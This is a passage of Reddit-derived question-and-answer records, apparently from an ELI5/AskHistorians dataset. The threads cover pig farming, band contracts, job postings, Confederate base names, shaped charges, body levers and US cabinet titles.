animals. Pigs are weird, they primarily forage, but are most definitely omnivores and eat whatever they want. You can pasture pigs, but they wouldn't get much nutritionally from it.\n\nIf you set up a forest scene or something more dynamic, with some wild onions or fruit bushes or slow moving mice, you'd have a great pig pasture. \n\nIf you're talking outside in general, it's common for pigs to be raised in confinement barns. They're low key kinda shitty in my opinion, but that's what's most common. When I farrow-to-finish'd pigs, I farrowed in sloped stalls on dirt, and would feed them out on dirt as well. Because of this, I didn't have to dock tails or clip teeth. I also didn't need to give B12 shots, and the butcher said when he would bolt them, they'd just drop, no brainstem flailing like what you'd get from confinement pigs. The purpose of this descriptive paragraph is that, yes, pigs can (should?) have their time outside. It's just not as common."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4bfjio", "title": "why is it so satisfying to watch things get crushed by a hydraulic press", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bfjio/eli5why_is_it_so_satisfying_to_watch_things_get/", "answers": {"a_id": ["d18o9bs", "d18orxg"], "score": [2, 2], "text": ["Because of the fact that all of the force being exerted to crush the item is being supplied by transfer of liquid, which cannot even be grasped or squeezed.  Ironic isn't it.", "Because we're all curious by nature, and we like to see what will happen to something when forces far bigger than we're used to are applied to familiar things. Plus, a lot of us just like to watch things blow up, basically. It's exciting!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6da79d", "title": "what decides people's dizziness tolerance to being upside down? how come some people can stay upside down for minutes with little dizziness while some people get dizzy after a few seconds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6da79d/eli5_what_decides_peoples_dizziness_tolerance_to/", "answers": {"a_id": ["di11w5k"], "score": [3], "text": ["Let's start out by addressing the word 'dizzy.'  Dizziness occurs from overstimulation of the inner ear's cochlea. So when you spin around repeatedly, you build up a centrifugal force acting upon the fluid in your cochlea which, in turn, overwhelms your nerve impulses to your brain.\n\nLight headedness is something a tad different. Have you ever stood up too quickly and gotten all wobbly in the knees and woozy in the head?  That's the same mechanic that dictates how long you can stay upside down. This has to do with the accessibility of oxygen rich blood to the brain and the varying intravascular pressure gradients throughout your circulatory system. Unless you happen to be built differently than I, your vasculature from your heart on up to your head has developed with the following understanding: it's hard to pump blood UP, but it's easy to drain blood back down. As a result, you have a compensatory changes within the modeling of your vasculature that ensures that your brain gets the oxygen rich blood it needs. Changing the orientation of one's head to one's heart results in blood pooling since you've now reversed the equation. Now, pumping blood to the head is EASY (especially with arteries that primed for it to be hard), but returning the spent blood is HARD (especially with a venous return that isn't equipped for an incline).  \n\nThe difference between individuals' ability to last longer upside down has to do with individual blood pressure. Higher blood pressure can result in a better ability to get venous return back to the heart (but it also comes with the added risk of heart and kidney disease, so there's that). Furthermore, people who spend a lot of time upside down (for whatever reason), will eventually affect their vasculature to compensate, given enough time. \n\nSource: Spent a large percentage of my adolescence with my head up my butt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2b0v2f", "title": "how can a member of a band be \"fired\"?", "selftext": "Is there some point in the career of any band where they make contracts to manage such things?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b0v2f/eli5_how_can_a_member_of_a_band_be_fired/", "answers": {"a_id": ["cj0r455"], "score": [3], "text": ["Most bands don't have contracts, so dropping a bandmember is really as ugly as dumping a friend.  \n\n\nYou can only fire someone if they were hired in the first place, involving contracts and all that paperwork. As soon as your band starts making money, you will find yourself in a situation that requires a contract of some sort. Even if it's only a verbal agreement on who gets the cut from playing a gig. \n\n\n\nIf the band is on a label they usually have a written contract, which may contain descriptions of how many albums the band should deliver and what the label will do for them (providing studio time, marketing, up front payment, royalties). It may also contain disclaimers, such as \"the contract will be terminated if this particular member dies or fails to contribute\". Specific band members are usually only mentioned if they are key persons to the project. For instance, a festival wouldn't want to hire Prince and his band and risk that only his band shows up without him. I'm sure his contracts mentions him specifically. \n\n\nSometimes these contracts are the source of breaking up the band, because the label might only be interested in one or some of the artists and don't want a contract that involve all their friends. It's really as simple as \"You only get a record deal if you ditch the drunk dude, we will help you find a better drummer\"\n\n\nThe obvious problem is if it was the drunk dude who started the band. If he hasn't any contract that gives him any rights to the band name, then it's just tough luck for him."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "62q6xc", "title": "Could the monarch of a large feudal kingdom of medieval Europe have established a republic?", "selftext": "I posted a similar question which was removed for being a hypothetical, so I rephrased it somewhat.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/62q6xc/could_the_monarch_of_a_large_feudal_kingdom_of/", "answers": {"a_id": ["dfoojgt"], "score": [9], "text": ["It was late at night. A lone candle burned softly by the end table of palace bedroom. The elderly woman, propped up in bed a few hours beforehand by her attendants stopped writing on the wooden plank that she had over her legs. To stop working-- it was an unusual moment for her. For her entire life, Matilda of Canossa had spent battling one fight after another. [Accused of adultery and matricide](_URL_1_) at the age of 30. Forced to repel an invasion from the Holy Roman Emperor and guard the Holy Father Himself during the Investiture Controversy. Through her cunning and courage she, the youngest of the Tuscan Prince Boniface III and a woman above all would see an Emperor laid defeated at her feet.\n\nShe was the most accomplished woman in the world since Cleopatra, and she managed to do it without spreading her legs to greater men than her. She was Hera incarnate, Sisera with her peg and hammer over the corrupt influences of Emperor Henry IV. Yet age had made a decrepit ruin of the heroine's strength. She would leave with God soon, for Matilda of Canossa at the age of 69 laid motionless in bed, her legs purple, red and swollen with gout. She didn't have so much time any longer.\n\nWhich meant this that this little hooded harlot had better have a good reason for this interruption.\n\n\"Well?\" Maltilda demanded to the shadows. The aged queen sighed with impatience, dipping her quill back into the inkpot and continued writing. \"Get on with it.\"\n\nThe hooded girl dropped out of the rafters, a disgustingly sunny smile on her face.\n\n\"*Sei Magnifiqo*, *Matilde di Canossa*.\" The hooded girl gave a bow. \"How long did you know?\"\n\n\"Long enough.\" Matilda snapped. She didn't have time for these games. \"What do you want, girl?\"\n\nThe girl shuffled and smiled awkwardly, as if embarrassed. She turned her arm out and clenched her fist, and from behind a hand with its ring finger missing on it a blade slid smoothly out from under her wrist. Perhaps a lesser woman would have felt fear, but Matilda of Canossa had long since accepted her death. Instead, she felt relief. So it was all finally going to end tonight.\n\n\"Hmph. So you are one of those *Assassino* I have heard so much about. Have your band of drug addicts finally established a guild in my kingdom? My spies should have told me if so.\"\n\n\"Eheheh.\" The girl put her arms behind her back, the dagger sliding back into her sleeve. \"Nope, *La signora*. I've come from *Siria*, from the Brotherhood in the Levant. While travelling, I learned all about you-- I'm a big fan, *Signoria.* Did you really rally your troops against the Imperials and fight on the front lines in Val d'Enza?\"\n\n\"When the historians finish write my tale,\" Matilda said through gritted teeth, \"You can read all about it.\"\nThe girl's face fell and for an insane moment, Matilda almost felt bad for treating her so harshly. Despite the girl's air-headed disposition, she didn't seem all that different from when Matilda was her age. The elderly woman had to specifically remind herself that this little bird was her to kill her.\n\nHa. Kill a dying old woman. What a joke.\n\nMatilda of Canossa sighed, reaching out to dip her quill and scratch out a mistake she made. \"Well, if you're going to kill me, little nightingale, do it after I finish my work.\"\n\n\"...And that day will never come, Signoria, will it?\" The assassin said softly, approaching with muted footsteps. \n\n\"Aye, for those of import like I,\" Matilda replied, writing furiously. The aching in her joints was getting worse. Death would be a sweet release at this point. \"Have a duty to God and kingdom. A little songbird like yourself could scarcely understand.\"\n\nThe hooded girl smiled. Leaning in, the girl pointed out a word scrawled in ink.\n\"You misspelled, 'Rapacious' in 'rapacious peasantry', Signoria.\"\n\nThe elderly woman gave the girl a cold glare, before going back and crossing out the word.\n\n\"Signoria... it is true that I'm no great queen like yourself. You lord over the entirety of Tuscany answering only to God and the Emperor. I was not even lord over myself when I was born. Nor was my mother. I was a slave.\" The girl tilted her head, letting her dark hair cross over her eyes. \"But surely you know that anyone-- even the youngest daughter of a vassal prince-- can bring down cities, kingdoms and empires.\"\n\n\"The 'Youngest daughter of a vassal prince', \" Matilda repeated. That was referring to her, of course. \"Is a far cry from a daughter of a slave, little songbird.\"\n\n\"S\u00ec, Signoria.\" The girl smiled, cocking her head to the side in what the girl must have thought was cute. \"I would never dream of laying an empire low like yourself. But a medium sized kingdom like your own... would be more fitting to my station, no?\"\n\nMatilda of Canossa turned to glare at the hooded girl, the fury that was missing from her heart for so long, rising up in her gut in a familiar heat. The elderly woman, with trembling hands, grabbed the assassin girl as hard as she could by the forearm, drawing the younger girl closer in. \n\n\"My death will not be the end of March of Tuscany, little bird.\" The Countess uttered, shaking. \"Tell your paymasters, be it the Spaniards or the Patriarchs of Anatolia that Tuscany-- will not fall!\"\n\nAt this, the girl reached out, gently prying off Matilda's hands and embraced the elderly woman. Matilda couldn't help but notice the soft floral notes weaved into the girl's clothes. A Syrian flower. Hibiscus. She reminded-- the songbird reminded her of her very own Beatrice, dead at childbirth. The Tuscan princess who was never to be. Ah! God! Ah, Beatrice! A lone tear ran down the widow's face. She sunk back into her silks, letting the fabrics caress her old, wrinkled flesh. The wetness she felt at her back must have meant that the assassin had done her deed. It was finally over.\n\n\"Sadly, Signoria... that is precisely why I am here. The Kingdom of Tuscany will fall, and the *Assassini del Levante* will make sure of it.\"\n\n\"W...\" Matilda felt a great, sudden weakness wash over her, like she had never felt before. Blood rose to her throat instead of words. Is this what ordinary people felt? Powerlessness? \"..hy?\"\n\n\"I... my master, believes that the seeds of freedom are here, Signoria. That the people of Tuscany are ready to seize their destinies with their own hands.\"\n\n\"Their... destinies?\" Matilda croaked out. \n\n\"Like you, Signoria. Like I.\" The girl sighed. \"We all know that the Muslims will take Konstantine eventually. They cannot be stopped. So when all of the knowledge of the Greeks and all of the lofty ideas of the republic of Roma flee to Italia-- greatness from freedom will be borne.\"\n\n\"A... republic.\" Matilda finished, closing her eyes. \n\n\"Yes, Signoria. A country for its people.\"\n\n\"A disaster... or... a fraud.\" Matlida coughed out. It was getting harder to breathe. But somehow... she felt better. Like a great blockage in her veins had been removed. \"You think a drawing... a few lots... makes a country for its people? What a joke... what a...\"\n\n\"Yes, it will fail.\" The girl nodded solemnly. \"The powerful will stay powerful. The weak will be weak. And eventually [a few men will rule over this beautiful country once more.](_URL_0_) But it must be done, my master says. It must be tried. For freedom. For truth.\"\n\nThe girl reached out and grasped Matilda's shirveled, cooling hands within her warm, petite ones. After a tight squeeze, the girl turned her hands down to take the wooden pallet from Matilda. On it, the letter that Matilda was writing to the Holy Roman Emperor concerning her successor upon her death. \"I will change your letter here to recommend Count Radobo the German as your successor for steward of Florence instead of whoever this is.\"\n\n\"*Dio ci aiuti*... Radobo... is a fool. \"\n\n\"Yes, he will fail.\" The hooded girl replied, reaching out with the quill to carefully cross out the first name and start writing in the incompetent count's name instead. \"And a new Republic of Tuscany will rise in place.\"\n\nThe girl turned to Matilda of Canossa with a start, reaching out to pat her over the hands. \"Ah, your part is done, Signoria. Thank you for all of you have done for Italy. For everything that you have done for the world, Grazie.\" The songbird's eyes grew ever softer. \"Rest now, Matilda.\"\n\nMatilda closed her eyes.\n\nA destiny for her people...\n\nShe suddenly lunged out and gripping the girl's arms as tightly as she could with her failing hands. The abrupt motion was a bit too much for her and she lurched forwards, coughing up a mouthful of blood. A thin line of scarlet trickled downwards from her pale, bloodless lips. The little songbird held her, a concerned look underneath that hood.\n\nMy part? Done?\n\n\"Like Hell... it is...\" Matilda muttered through bloodied teeth. \"Maltilda... *la Gran Contessa*.. am no one's pawn. Give me the quill, girl. I will recommend Radobo myself.\"\n\nThe hooded girl, as if in awe, slowly turned the wooden pallet over, back to Matilda's lap. She couldn't feel the gout in her legs anymore, nor the cold wetness from the hole in her back, nor the thin, ever-growing trail of blood that was tracing a line from her lips to frame her chin. All she could see now was this letter. This wretched letter, which would destroy her entire life's accomplishments. \n\n\"Guide my hands, child. I will lead and you will follow.\"\n\nIt was morning now. Only when they were done, and the letter was finished, sealed and left outside of her locked bedroom doors where her attendants would send it off long before they would realize her death-- did the Countess of Contessa, the Vice-Queen of Italy, Defender of the Faith and Imperial Vicar to Henry the Fourth and Henry the Fifth-- finally breathe her last and rest.\n\nThe hooded girl took a step onto the windowsill. She looked back at the late Countess. And what the hooded girl saw made her laugh just a little. And she was gone.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/House_of_Medici", "https://en.wikipedia.org/wiki/Matilda_of_Tuscany#First_marriage"]]}
{"q_id": "5sw0cy", "title": "why do companies post job vacancies that are already planned to be filled internally or even not at all?", "selftext": "In watching job vacancies and talking to current employees, I've noticed that a number of companies (especially larger ones) often publicly post a job vacancy with seemingly no intent to hire outside...and sometimes with no intent to hire at all, that the position is actually being eliminated. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5sw0cy/eli5_why_do_companies_post_job_vacancies_that_are/", "answers": {"a_id": ["ddi8q5y", "ddi8zq4", "ddi93t3", "ddiangg", "ddilt0o"], "score": [6, 2, 13, 3, 3], "text": ["Usually corporate policy.\n\nI was hired from an internship and my bosses were required to put out a classified ad and make me go through the application/interview process. I guess so that if things were to go sour and I turned out to be a lying manipulator, they had documented evidence that they did things legally and through the right means.", "Some employers such as state universities have to make public job postings if they want to give an existing employee an upgraded position.\n\nI found this out because right out of college I wound up interviewing for a position that was listed \"candidate in mind\" -- because there was a grad student who had been working in that office, and the upgraded permanent job was sort of tailored for his expected duties. However, I actually beat him in the interview process.\n\nI didn't really know this until several years later... and I'm not sure I would have done anything differently, but it is worth inquiring if you see strange acronyms like \"CIM\" (candidate in mind) on a job posting. It doesn't mean, necessarily, that you can't get the job, but it might mean that if you do, things could get a bit awkward, as you just took the place of someone whose co-workers probably expected to continue working with.\n", "Many large companies require a very precise policy be followed when hiring someone. This generally requires publicly posting the position, accepting resumes, and quite often even interviewing a minimum number of candidates (often at least three). They require hiring managers to jump through these hoops for a few reasons\n\n1) It forces the manager to document every step of the process and ensures they're doing their due diligence to hire the best candidate instead of whoever's convenient.\n\n2) It makes it much harder to hire someone unqualified, especially due to favoritism or bribery (If you collect 5 resumes for a position and the one you hire is by far the worst, that will raise a red flag with HR)\n\n3) It protects the company from liability (if someone tries to sue claiming unfair hiring procedures, these requirements and documentation much it much harder for the plaintiff to win that law suit.)", "HR departments often require all openings to be posted externally, to prevent nepotism and ensure that managers do their due diligence when evaluating candidates.\n\nManagers, on the other hand, when they have a qualified internal candidate in might, will often do the absolute minimum to comply with HR, so that external candidates will be discouraged.", "If the intended internal hire is someone on some kinds of visa, it is required to post the job publicly so you can document that no qualified citizens are applying for it.  You can often spot these postings because the list of requirements and qualifications will be ridiculously specific."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "czcjhd", "title": "when new laws comes out, how do lawyers and judges everywhere \"keep up\" with them? or do they have to follow the president and congress every moves?", "selftext": "Or do law firms have a designated person whose job is updating new laws for everyone? (\"Hey guys, new law alert, write this down\")  \n  \nI don't know how to word this better, sorry.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/czcjhd/eli5_when_new_laws_comes_out_how_do_lawyers_and/", "answers": {"a_id": ["eyxgvic", "eyxh0et", "eyxh0wy", "eyxm52k"], "score": [16, 3, 2, 3], "text": ["Sort of, they have conferences and stuff. However the shear amount of laws and case laws really make it impossible for someone to keep up with it all, even if the lawyer specializes in a topic. Really all legal documents and motions contain any relevant laws and case laws that the lawyer cites to make their argument to the judge. Any such document filed with the court requires lawyers on each side to do a lot of research. Being a good lawyer is being able to know how to research and look things up", "Lawyers have to keep up with their scope of practice. So yes, when new laws come into effect, they have to know about it. \n\nIn common law countries, like the USA, Canada, or the UK, lawyers also have to be aware of relevant case law in their scope of practice.\n\nIn application, some of their research is done by their paralegal, and there are organizations that publish commentary on laws and recent court decisions. My wife is a lawyer and she gets books from a group in our province called CLE (Continuing Legal Education) that discuss the statutes in her practice area.", "The specific number varies by state, but attorneys are required to earn a certain number of CLEs, or Continuing Legal Education credits. These may be in the form of university classes, seminars, conferences, etc. They also just subscribe to industry newsletters, podcasts, Twitter accounts or whatnot in order to stay abreast of relevant news for their specialties.", "As an attorney, I have absolutely no idea what Congress is doing. They don't pass laws in my field of practice very often. \n\nWhen they do, my firm has a library service which sends around updates based on practice area. I am also subscribed to quite a few legal news magazines/email services that keep me fresh on the field. Our group also has lots of continuing legal education (CLE). Most of the CLE is presentations from our group (i.e., they research a topic and present), but we also have outside CLE for some things (especially for legal ethics). \n\nAs for case law, there's a ton of it in my field (about 1-2 appellate decisions per week), so we assign an associate to every appellate-level case. They write a brief summary and send it around the group. I try to read most of them. \n\nDifferent firms do it differently, though. Generally, it's a combination of personal diligence, paid and free services, and, for people in firms, firm services/personnel."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "44qz6k", "title": "why did the united states army name some of its major installations after confederate officers (like bragg or hood)? didn't these guys commit treason and fight against that very army regardless of their earlier work? how is it different than naming a base after benedict arnold?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44qz6k/eli5_why_did_the_united_states_army_name_some_of/", "answers": {"a_id": ["czs7ddv", "czs8okx", "czsb6h8", "czsbs6s", "czsc7fv", "czsc88z", "czscwdy", "czsd6ot", "czsdm1g", "czseitm", "czseknm", "czsf9be"], "score": [75, 46, 8, 28, 10, 4, 8, 2, 5, 3, 3, 3], "text": ["How the Confederacy was viewed in the post-Civil War United States was... complicated. I'll leave it more towards other experts to explain, but suffice to say there was some leniency in the attitude towards the defeated party.\n\nIn any case, names of Confederate officers were generally only used in parts of the South. The US Army's Center of Military History has this [fairly long article](_URL_0_), which includes:\n\n >  Unsolicited suggestions for names were also submitted from sources outside the military establishment, and political pressure and public opinion often influenced the naming decision. As a result, it was common for camps and forts to be named after local features or veterans with a regional connection. In the southern states they were frequently named after celebrated Confederate soldiers.", "You have to remember Lincon's policy at the end of the Civil War. Malice towards none and charity for all. The south would not have assimilated back into the union if lincoln did not have some sort of compassion for them, and treated them like citizens instead of war prisoners, so efforts were made to commemorate them in the manner mentioned. May not seem right today, but it was evidently the best way to prevent another war from breaking out again.", "Many Confederate officers were US officers and soldiers prior to secession.  Example: Robert E. Lee was originally asked to lead the Union army but he decided to stand with his State instead. Perhaps infamous after the war but still deserving of \"American\" recognition. ", "During the era of the Civil War, generals and officers were still considered gentlemen. Many of the Union and Confederate officers went to school together, trained together, and fought along side one another prior to the war. Even though they ended up being adversaries, they still had great respect for one another.\n\nThe last thing that the Union wanted to do once the war was over was make things worse by insulting or degrading the Confederate officers. The Union didn't want to piss on the south or treat it as inferior, it wanted to fully bring it back into the fold of the United States.\n\n", "Most Army posts were established in WWI or WWII, when positive feelings towards the Confederacy were high. The anger had died off, and it was more people thinking nostalgically about how great their fathers and grandfathers were, on either side of the war. The \"[Lost Cause](_URL_1_)\" positive view of the Confederacy was popular at the time, with blockbuster films like \"Birth of a Nation\" coming out in 1915, and \"Gone with the Wind\" coming out in 1936. You also had organizations like the [United Daughters of the Confederacy](_URL_3_) and [Sons of Confederate Veterans](_URL_2_) reaching new heights and establishing monuments and memorials across the South. In 1914, three weeks before Archduke Franz Ferdinand was shot dead in Sarajevo, President Wilson was unveiling the huge [Confederate Memorial](_URL_0_) in Arlington National Cemetery, paid for by the UDC.", "There's a story I heard from Desert storm that fits this nicely- \n\nAn Iraqi tank commander has been captured, and is in the back of an Armored Personal Carrier - when he sees pictures of German SS tank commanders and propaganda about the Blitzkrieg strategy taped to the walls of the vehicle... He is shocked and asks \"how could you have pictures of these men that killed so many Americans in your vehicles?\"\n\nThe commanding officer responds that their ability to learn from the enemy, and respect him, is why he is sitting in their APC - and not the other way around.... \n\n\nTL:DR - In war you tend to respect good tacticians regardless of which side they were on- its what helps you win the next war.... ", "This question is probably better for Askhistory, since this is a politically charged period of history and random redditors may not have all the facts necessary.", "In regards to your hypothetical.  At West Point (the US armies officer academy) there's a few monuments to Benidict Arnold.  Which is interesting seeing as west point was the very base he was trying to surrender when he committed treason.  The military is unique in that it honors people's accomplishments independent of their shortcomings.  I guess that's how we can objectively learn from our enemies.  Basically nothings personal.", "To a certain degree this goes to a question of when a person's beliefs impact their work in another field.\n\nYou know who has some shockingly insightful quotes?  Hitler.\n\nPatton, a brilliant general, once famously slapped a soldier with PTSD and basically thought he was a coward and a weakling.\n\nMel Gibson is a pretty damn good actor.\n\nTruman dropped the Atomic bomb on a civilian city, then did it again.  \n\nA lot of southern generals were brilliant tacticians and some northern generals were racists who would rather not have spent white lives to free the slaves.  \n\nIn the past, and it is important to remember, in the future, society is going to change.  Some people will be on the historically right side of those changes, others will be on the historically wrong side, and despite what one might think it is hard to know (in the moment) which side is which.  If part of winning is turning around and cursing the losers for all history it is just going to make both sides fight all the harder to make sure they don't lose.  If you realize we are all humans and once our current disputes are over, have to continue to live with one another, it is helpful to show a bit of respect for those things we can all agree were good about the other side.", "All I know is that the confederacy generals were classmates of union generals at West Point. There was a respect for their adversary (as well as possible \"friendships\" amongst them). We are talking about the greatest general the US has ever produced in Robert E. Lee. Sure, in our eyes he was on the rebel side and defected from the country persay. This isn't how they saw it back then. These were men who were fighting for \"their\" America just as much as the union generals were fighting for \"theirs.\" Essentially, these people are historical icons, amazing generals and tacticians, and they were highly respected in their day (and are still revered today as well). The great thing about US history is that sometimes we pay homage to great men, regardless if we disagreed with which side of history they fell on. Lee, for example, is considered the greatest American general ever. Notice I said American, because he was 100% American. ", "To be fair, most of these posts (and military installations in general) are in really shitty places. \nFort Benning? Hot and humid as hell.\nFort Hood? Out in the middle of nowhere.\nFort AP Hill? Nothing but bogs and thorn bushes everywhere.\nSo maybe it's not such a bad thing!\n\nSeriously though, there was a conscious movement to heal the wounds of the war as soon as possible. One of those relics is the 29th Infantry Division patch: the division was an amalgam of USA and CSA units, so their nickname is the Blue and Gray, and their patch looks like a yin-yang symbol (without the dots) with blue and gray.\n\nNow, I would say that the \"wounds\" healed were mainly white America, but that's another story for another time.", "How has no one pointed out the difference that Arnold sold out his OWN men. He was given command of a fort and plotted to turn it over to the enemy.  You can argue over the rights and wrongs of the civil war all you want but Bragg and Lee never secretly conspired to turn over the men under their charge. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.history.army.mil/html/faq/base_name.html"], [], [], [], ["https://en.wikipedia.org/wiki/Confederate_Memorial_%28Arlington_National_Cemetery%29", "https://en.wikipedia.org/wiki/Lost_Cause_of_the_Confederacy", "https://en.wikipedia.org/wiki/Sons_of_Confederate_Veterans", "https://en.wikipedia.org/wiki/United_Daughters_of_the_Confederacy"], [], [], [], [], [], [], []]}
{"q_id": "81llmo", "title": "how can we shape c4 to explode in a certain direction but we can\u2019t with nuclear explosions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/81llmo/eli5_how_can_we_shape_c4_to_explode_in_a_certain/", "answers": {"a_id": ["dv3qysu", "dv3r1nl", "dv3rjqu"], "score": [7, 16, 2], "text": ["you absolutely can shape charge a nuke.    you just need to put something on one side that'll have enough mass and strength to absorb the blast concussion and the temperature.     like....say about a mountain's worth of mass.   ", "Shaped nuclear charges are theoretically possible, but they haven't been designed or built because there's no obvious need. If you're trying to penetrate something and one nuke didn't do it, why not just nuke it again? (if you're willing to nuke it at all)\n\nOne practical application of shaped nuclear charges is nuclear pulse engines, a hypothetical spacecraft thruster. The idea never got off the ground (literally) because people thought nuking a box full of nukes was probably asking for trouble.\n\nThis explains **why** shaped nukes don't exist, but it would take a different explaination as to **how** shaped charges work at all.", "This is from Atomic Rockets, in the section called \"conventional weapons\" to give you some context for this beasty.\n\n[Casaba Howitzer](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.projectrho.com/public_html/rocket/spacegunconvent.php#shapedcharge"]]}
{"q_id": "6hzhei", "title": "why are there so many third class levers in our body?", "selftext": "I know that when the effort is between the load and the fulcrum, you have a mechanical disadvantage. So why are almost all of our muscles placed closer to their fulcrum (for example the elbow) compared to how distant the load is placed from the fulcrum?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hzhei/eli5_why_are_there_so_many_third_class_levers_in/", "answers": {"a_id": ["dj2ct5f"], "score": [6], "text": ["Because while that kind of lever reduces the maximum force, it increases the movement distance and speed by the same factor. That turns out to be far more useful, especially because muscles are pretty good at being extremely strong over short distances."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1it7lu", "title": "Why are US Cabinet officers called \"Secretary\" while most of countries use \"Minister\"?", "selftext": "I know the Prime Minister is similar to the US President, and Foreign Minister is equivalent to the US Secretary of State. But why did the US choose to go with Secretary and not Minister? Was this a decision George Washington made when he created the first Cabinet? Also, why were Ambassadors previously known as Ministers to CountryX in the US as well? American born, but it was never discussed in any history class about the choice of name.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1it7lu/why_are_us_cabinet_officers_called_secretary/", "answers": {"a_id": ["cb7sz1v", "cb7w2s2", "cb81ics", "cb83c4t", "cb861z7", "cb8b2fw"], "score": [58, 143, 5, 2, 3, 3], "text": [" >  I know the Prime Minister is similar to the US President\n\nThis isn't really true. The US President's main function is that of the head of state, which makes the function more comparable to other presidents or  monarchs. A prime minister is, quite simply, the head of a cabinet, the most important minister, though I think the distinction between leader of cabinet and head of state doesn't exist in the US.", "The term Secretary has evolved over time. Coming originally from the medieval Latin and meaning a trusted keeper of secrets traditionally the English monarch would have a personal secretary or perhaps two. They could act as both clerk/scribe and advisor but the term was more descriptive than titular. \n\nThis changed under Elizabeth the I with Robert Cecil. It was at this time that the term began to mean one who was inherently invested with authority or governance functions. It became a title and an honorific that was applied to only a select few members of the Monarchs Privy Council which came to be known as the Cabinet. \n\n > 1589   R. Hakluyt tr. in Princ. Navigations i. 189   Our Secretarie of estate.\n1601   in T. Rymer  &  R. Sanderson F\u0153dera (1715) XVI. 421   Sir Robert Cecill Knighte our Principall Secretarie.\n\nMinister meanwhile had a dual meaning and had been in use in English for a longer period of time. Its meaning(s) were both one who serves and one who enforces the law. It also had a strong ecclesiastical component. It is a close synonym for magistrate.\n > c1327   Rolls of Parl. (modernized text) II. 430   His writings and other goods,  & c., arrested by the King's ministers.\n\n\nGetting back to your question many countries besides the US do use secretary as a title. This is certainly true in [England](_URL_0_) as well as France under the term Secr\u00e9taires d'\u00c9tat. The constitution does not stipulate cabinet level departments at all, however the creation of them was among the first acts of the first congress. That act created the State Departments and gave its leader (who was to be Thomas Jefferson) [the title of Secretary.](_URL_1_)\n\nEdit: Also not all leader's of departments in the US have the title of Secretary. The most obvious example is Attorney General. The Postmaster General prior to 1971 is also a good example. You also have 'cabinet level' [officials such as the Director of the EPA.](_URL_2_)\n\nUltimately naming conventions are just that, conventions.", "Two reasons, one ideological, and one practical:\n\n1) A minister, at the time of the American Revolution, served the King. *Minister* is the Latin word for servant. It implied that the ministers served at the pleasure of the King, and were both appointed and dismissed at any time by the King, a formality which is still somewhat followed to this day, since the monarch must formally invite a coalition under a leader (who becomes Prime Minister) to form a government. The monarch doesn't have much power in opposing the majority coalition anymore, but the tradition is still preserved. At the time of the American Revolution, using the British terms wasn't looked on favorably, so we decided to use \"secretary\" instead, the meaning of which has been addressed in another post here.\n\n2) The U.S. has a tripartite division of powers, where the Cabinet is a part of the Executive Branch, under the President. In a Parliamentary system, the ministries fall under the legislative branch, and are controlled by Parliament. That's why countries with a parliamentary system, but no monarch, now use the term \"minister.\"\n\nAs to your second question, it was an abbreviation of \"minister plenipotentiary,\" which comes once more from the Latin word. It literally means \"a servant with the full power\" of the government.", "Also: Minister means 'servant,' so thus, a minister would be serving his or her monarch/head-of-state. 'Secretary' has a different etymology (a record-keeper, basically).", " >  I know the Prime Minister is similar to the US President\n\nEven this claim is a little bit simplistic.  Countries such as the UK, Australia and Canada have a Prime Minister, indeed, and in practice they are responsible for leading the country, but they don't fill the role of head of state like the US President does.  That role goes to the respective Monarchs.  In the UK the Queen of the United Kingdom, in Australia the Queen of Australia, and in Canada the Queen of Canada.  These three of course all happen to be the same person (Elizabeth II).\n\nIn reality in these countries, particularly the Commonwealth countries of Australia and Canada, the Queen is not usually involved in day to day decision making and there is a Governer-General in those countries, officially appointed by the Queen, who acts as head of state in the absence of the Queen.\n\nIt's only by convention that the Governer-General does not exercise powers over the country very often, and defers this responsibility to the Parliament (which is lead by the Prime Minister).  (There have been notable exceptions, such as in Australia when the Governer-General dissolved Parliament, effectively sacking the Prime Minister).  It is also convention that the Queen is happy for the Parliament to choose the Governer-General.\n\nWhen Australia voted in a referendum whether or not to drop the monarchy and become a republic, the new role of President was to replace the Governer-General (who effectively represented the Queen), NOT the Prime Minister.  The President would continue to not play a significant role in ruling the country, deferring instead to the Parliament headed by the Prime Minister.  However, due to widespread confusion assisted by scare-mongering by supporters of the Monarchy in Australia, Australians were confused by the title of \"President\", assuming that it would be a role similar to the US President and that the Prime Minister would become irrelevant.  In reality it would have been a very different system to the United States where in all other ways apart from ditching the Queen and her representative the Governer-General, we still would have retained the same system of parliament.\n\nSorry this was getting off topic but I wanted to address the point that the Prime Minister is not in a similar role to the President.\n", "There are a lot of arguments on this post comparing different kinds of government and using that to justify the choice of minister or secretary. I think this is a misleading digression. The fact is that the US could have chosen to call its cabinet officers 'minister', 'secretary' or even 'person in charge of'. They chose secretary. OPs question is why did the original creators of the US governmental system choose this term rather than any other, especially considering that they were declaring independence from a government with ministers?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], 